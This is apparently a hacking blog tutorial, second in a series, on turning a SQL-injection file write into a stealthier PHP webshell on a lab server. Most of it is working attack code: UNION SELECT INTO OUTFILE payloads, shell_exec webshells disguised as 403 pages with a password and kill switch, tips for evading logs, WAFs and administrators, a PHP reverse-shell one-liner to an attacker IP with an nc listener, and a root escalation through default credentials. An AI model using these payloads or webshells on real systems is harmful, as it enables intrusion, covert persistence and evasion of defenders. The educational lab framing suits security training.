

From Basic to Blessed: Uplifting Your Webshell Game
Table of Contents
Last time, we got our hands dirty with a basic webshell. Functional? Sure. But in the land of payloads and proxies, functional is just the beginning. This guide is all about leveling up — not just writing files, but wielding full command-line power with precision, stealth, and style.
Recap of Part 1
Aand we are back.. Did you miss some good SQLi fun? or me? hehe
Remember our file-write payload from last time?
1' UNION SELECT "<?php echo 'owned'; ?>",NULL INTO OUTFILE '/var/www/dav/shell-1.php' -- -
Now this payload was.. pretty basic right - let’s have some more fun with it.
📂 Bonus Resource: My Ultimate FFUF Cheatsheet
💣 Want to master directory fuzzing, wordlist kung-fu, and hidden endpoints?
🔗 Click here to access it – built for hackers, red teamers, and bug bounty hunters who want maximum coverage with minimal keystrokes.
⚙️ Step 1: Most Basic Payload
1' UNION SELECT "<?php system($_GET['cmd']);?>",NULL INTO OUTFILE '/var/www/dav/shell-2.php' --
The function system()
in PHP executes an external program (like a shell command) on the server, and then:
- Runs the command you give it as a string (e.g.
"ls"
,"whoami"
, etc.). - Prints the output directly to the browser (unless output buffering is used).
- Returns the last line of the output as the function’s return value.
As you see, we can just pass in commands here.
💡 Quick Tip: system() is great for raw command runs but terrible for capturing results or chaining logic. Treat it as a one-shot wand.
📜 Step 2: Better Output Handling
In this step, we aim to improve how command output is displayed, captured, or formatted by exploring alternatives to system()
.
Why do we care?
Although all PHP functions we’re about to explore can run system commands, they differ in how they handle the output. This becomes important when we later want to:
- capture output into variables,
- analyze the results of commands (e.g. check if the user is root),
- or log output, suppress errors, or chain logic.
So while the output may look the same in your browser, the function you use underneath can either empower you—or severely limit you.
Function Overview
Function | Output Type | Can Capture Output? | Sends Directly to Browser? | Use Case |
---|---|---|---|---|
system() |
Direct | No (only return val) | Yes | Simple command execution |
shell_exec() |
Entire output as string | Yes | No (you must echo it) |
When you want to store/analyze output |
passthru() |
Raw binary output | No | Yes | When dealing with raw data (e.g. cat ) |
For this comparison, we will test the same shell command:
ls -la /tmp
We wrap the command output in <pre>
tags to improve readability in the browser.
🧵 Step 3: Function Behavior Comparison
Base PHP Structure for Each Test:
Each function is tested using this setup:
<?php
echo '<pre>';
// FUNCTION UNDER TEST
echo '</pre>';
?>
(ofc as a payload leave out the line breaks, just for better readability)
This ensures output is formatted the same way in the browser, so we can focus purely on behavior differences under the hood.
🧵 Output Handling in Shells Matters. It’s not just what you run — it’s what you do with the result. Choose your function based on whether you’re blasting commands or building logic.
3.1 system($_GET['cmd']);
Code used:
<?php
echo '<pre>';
system($_GET['cmd']);
echo '</pre>';
?>
Payload used (URL-decoded):
1' UNION SELECT "<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>",NULL INTO OUTFILE '/var/www/dav/shell-2_1.php' -- -
Request in browser:
http://192.168.29.128/dav/shell-2_1.php?cmd=ls%20-la%20/tmp
Explanation:
The system()
function executes the command and immediately sends output to the browser.
You cannot capture the output as a string or inspect it programmatically. The function does return the last line of output as a string, but it’s not very useful because it doesn’t include the full output.
This works well for basic, one-off command execution, but it becomes a dead-end when you want more flexibility (e.g. parsing output, logging, decision making).
3.2 shell_exec($_GET['cmd']);
Code used:
<?php
echo '<pre>';
echo shell_exec($_GET['cmd']);
echo '</pre>';
?>
Payload used (URL-decoded):
1' UNION SELECT "<?php echo '<pre>'; echo shell_exec($_GET['cmd']); echo '</pre>'; ?>",NULL INTO OUTFILE '/var/www/dav/shell-2_2.php' -- -
Request in browser:
http://192.168.29.128/dav/shell-2_2.php?cmd=ls%20-la%20/tmp
Explanation:
Although the output looks the same in the browser as with system()
, shell_exec()
is fundamentally different.
shell_exec()
captures the entire command output as a string. This means you can do things like:
- store the result:
$output = shell_exec(...);
- analyze it:
if (str_contains($output, 'root')) { ... }
- write it to a log file
- or suppress it altogether.
This makes shell_exec()
ideal for shells that want to go beyond just displaying output, and start thinking about it.
3.3 passthru($_GET['cmd']);
Code used:
<?php
echo '<pre>';
passthru($_GET['cmd']);
echo '</pre>';
?>
Payload used (URL-decoded):
1' UNION SELECT "<?php echo '<pre>'; passthru($_GET['cmd']); echo '</pre>'; ?>",NULL INTO OUTFILE '/var/www/dav/shell-2_3.php' -- -
Request in browser:
http://192.168.29.128/dav/shell-2_3.php?cmd=ls%20-la%20/tmp
Explanation:
The passthru()
function behaves similarly to system()
in that it immediately writes the output to the browser.
However, it’s specifically designed to handle raw binary output — for example, cat file.jpg
or xxd /bin/ls
.
Unlike shell_exec()
, you cannot capture or manipulate the output in any way. It’s just dumped straight to the user. This makes it useful in rare cases where you’re dealing with binary files or data streams, but not for general webshell usage.
Summary: Which One Should You Use?
While the output from all three functions may look visually identical in the browser, the difference in behavior matters for actual exploitation.
system()
is the easiest and fastest to use for quick command execution, but you lose all control after that.passthru()
is useful only when you need to output raw or binary content (e.g., to exfiltrate files like images or zipped data).shell_exec()
is the best option if you want to build more powerful, flexible webshells — allowing you to capture, analyze, and control the output.
For that reason, we’ll use shell_exec()
going forward as our core function.
Weaknesses of our current Shell
See this? We forgot to provide a command and it produces an error.
This warning becomes noisy in logs, attracts attention, may trigger WAFs, AV or sysadmin suspicions.
And this is not the tip of the risk-iceberg with such a basic shell.
Why Hackers must also worry about their own passwords
There’s also no password, no access control - anyone scanning the server or brute-forcing paths can find and use it:
- Another attacker can hijack your access
- Defender (admin, IR team) might fight it, run commands, path or delete it - burning your foothold
- If one of the two previous finds your IP in logs - no VPN? bad day brother..
How your shell could become a Honeypot against you
POV: An admin finds your shell, leaves it online but logs all access attempts, including your IP, commands, timing, keystrokes
They’d record you without you knowing - you just gave your adversary free recon on you
🚨 Step 4: Input Validation & Stealth
Reminder of our current shell, styled for readability (remember to loose the line breaks in the payload):
<?php
echo '<pre>';
echo shell_exec($_GET['cmd']);
echo '</pre>';
?>
4.1 Use isset()
to check input
<?php
if (isset($_GET['cmd'])) {
echo '<pre>';
echo shell_exec($_GET['cmd']);
echo '</pre>';
}
?>
which, as a payload, reads as
1' UNION SELECT "<?php if(isset($_GET['cmd'])){echo '<pre>';echo shell_exec($_GET['cmd']);echo '</pre>';}?>",NULL INTO OUTFILE '/var/www/dav/shell-4_1.php' -- -
Don’t forget to URL-encode:
1%27%20UNION%20SELECT%20%22%3C%3Fphp%20if(isset($_GET['cmd'])){echo%20'%3Cpre%3E';echo%20shell_exec($_GET['cmd']);echo%20'%3C/pre%3E';}%3F%3E%22,NULL%20INTO%20OUTFILE%20'/var/www/dav/shell-4_1.php'%20--%20-
Now, if nothing is passed to
cmd
, it simply shows a blank page.
As you can see, the file is reachable without errors - and we can even return an “empty command” without errors.
4.2 Making it look normal
We could also make it look like a forbidden page without a given command:
<?php
if (isset($_GET["cmd"])) {
echo '<pre>';
echo shell_exec($_GET["cmd"]);
echo '</pre>';
} else {
die("<h1>403 Forbidden</h1>");
}
?>
' UNION SELECT "<?php if (isset($_GET[\"cmd\"])) { echo '<pre>'; echo shell_exec($_GET[\"cmd\"]); echo '</pre>'; } else { die(\"<h1>403 Forbidden</h1>\"); } ?>", '' INTO OUTFILE '/var/www/dav/shell-4_2_10.php' -- -
We got rid of the
1
in the payload so noadmin admin
is looking suspicious. Notice how i had to go for… not exactly just one try?
Well.. thats not good. We’ll delete them a few steps down the line here.
Let’s recap: our current shell is input-safe via
isset($_GET["cmd"])
, well-readable via<pre>
and fails gracefully due to our use ofdie()
.
Next step: authorization.
4.3 Password-Protection
<?php
$pw = "v3h6p94c8g"; // simple hardcoded password
if (!isset($_GET["key"]) || $_GET["key"] !== $pw) {
die("<h1>403 Forbidden</h1>");
}
if (isset($_GET["cmd"])) {
echo '<pre>';
echo shell_exec($_GET["cmd"]);
echo '</pre>';
} else {
die("<h1>403 Forbidden</h1>");
}
?>
Payload:
' UNION SELECT "<?php \$pw = \"v3h6p94c8g\"; if (!isset(\$_GET[\"key\"]) || \$_GET[\"key\"] !== \$pw) { die(\"<h1>403 Forbidden</h1>\"); } if (isset(\$_GET[\"cmd\"])) { echo '<pre>'; echo shell_exec(\$_GET[\"cmd\"]); echo '</pre>'; } else { die(\"<h1>403 Forbidden</h1>\"); } ?>", '' INTO OUTFILE '/var/www/dav/shell-protected.php' -- -
Right password:
Wrong password:
💡 Hardcoded passwords? Still better than nothing. Ideally, you’d include IP whitelisting or time-bound keys. But for throwaway shells? A single key buys you a lot of peace.
Great! Now, one last upgrade.
💥 4.4 Controlled Self-Destruct (On Command)
Let’s build a “kill switch” parameter.
<?php
$pw = "v3h6p94c8g";
$killParam = "destroy";
$file = __FILE__;
if (!isset($_GET["key"]) || $_GET["key"] !== $pw) {
die("<h1>403 Forbidden</h1>");
}
if (isset($_GET[$killParam])) {
unlink($file);
die("<h1>Shell deleted</h1>");
}
if (isset($_GET["cmd"])) {
echo '<pre>';
echo shell_exec($_GET["cmd"]);
echo '</pre>';
} else {
die("<h1>403 Forbidden</h1>");
}
?>
Payload:
' UNION SELECT "<?php \$pw = \"v3h6p94c8g\"; \$kill = \"destroy\"; \$file = __FILE__; if (!isset(\$_GET[\"key\"]) || \$_GET[\"key\"] !== \$pw) { die(\"<h1>403 Forbidden</h1>\"); } if (isset(\$_GET[\$kill])) { unlink(\$file); die(\"<h1>Shell deleted</h1>\"); } if (isset(\$_GET[\"cmd\"])) { echo '<pre>'; echo shell_exec(\$_GET[\"cmd\"]); echo '</pre>'; } else { die(\"<h1>403 Forbidden</h1>\"); } ?>", '' INTO OUTFILE '/var/www/dav/shell-killable.php' -- -
and then:
This is now a permission problem — PHP can’t delete the shell because it wasn’t the one that created it (MySQL did!), and it doesn’t have write access to the directory! But I think we’ve just leveled up massively by running into this —
real hacking means real OS behavior, and now we understand it better than ever!
🧼 5. Cleanup - getting rid of all those bloody shells
We’ll use a One-Liner Reverse shell:
php -r '$sock=fsockopen("10.10.14.8",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
What it does:
-
fsockopen(...)
opens a raw TCP connection to your attacker machine -
File descriptor 3 (
<&3
) is used to redirect stdin, stdout, stderr to the socket -
exec()
spawns an interactive shell piped through that socket
Following my Shell Intro Guide
,
we run
nc -lvnp 4444
on our local machine.
Payload:
' UNION SELECT "<?php \$sock=fsockopen(\"10.10.14.8\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\"); ?>", '' INTO OUTFILE '/var/www/dav/final.php' -- -
calling http://<TARGET_IP>/dav/final.php
let’s us capture the shell.
EXERCISE: Try to upgrade your shell following my guide above!
SPOILERS AHEAD! You have been warned.
Now, we can’t delete the files as they were created by mysql
, but we are www-data
.
BUT we do know the msfadmin:msfadmin
combination, which saves us some privilege escalation work. Just:
su msfadmin #then enter password: msfadmin
sudo su #again use msfadmin as password
Now you are root, able to delete all remnants of our work, e.g. with rm /var/www/dav/*
. Good stuff! A nice session!
☕ Support the Forge, Feed the Code
Crafting these deep-dive, hands-on guides takes time, caffeine, and the blessings of the Machine Spirit.
If you enjoyed this walkthrough or learned something new, consider supporting the sanctum at ko-fi.com/niklasheringer. Every bit fuels the next payload. 🔧
🧪 More Experiments Incoming
Want more shell enhancements? Payload drops? Real-world labs?
📬 Subscribe to my Ko-Fi for exclusive learning content, or look around here on niklas-heringer.com for:
- 🔍 Walkthroughs of HTB machines
- 🛠️ Custom tools i build
- ✍️ Writeups & future guides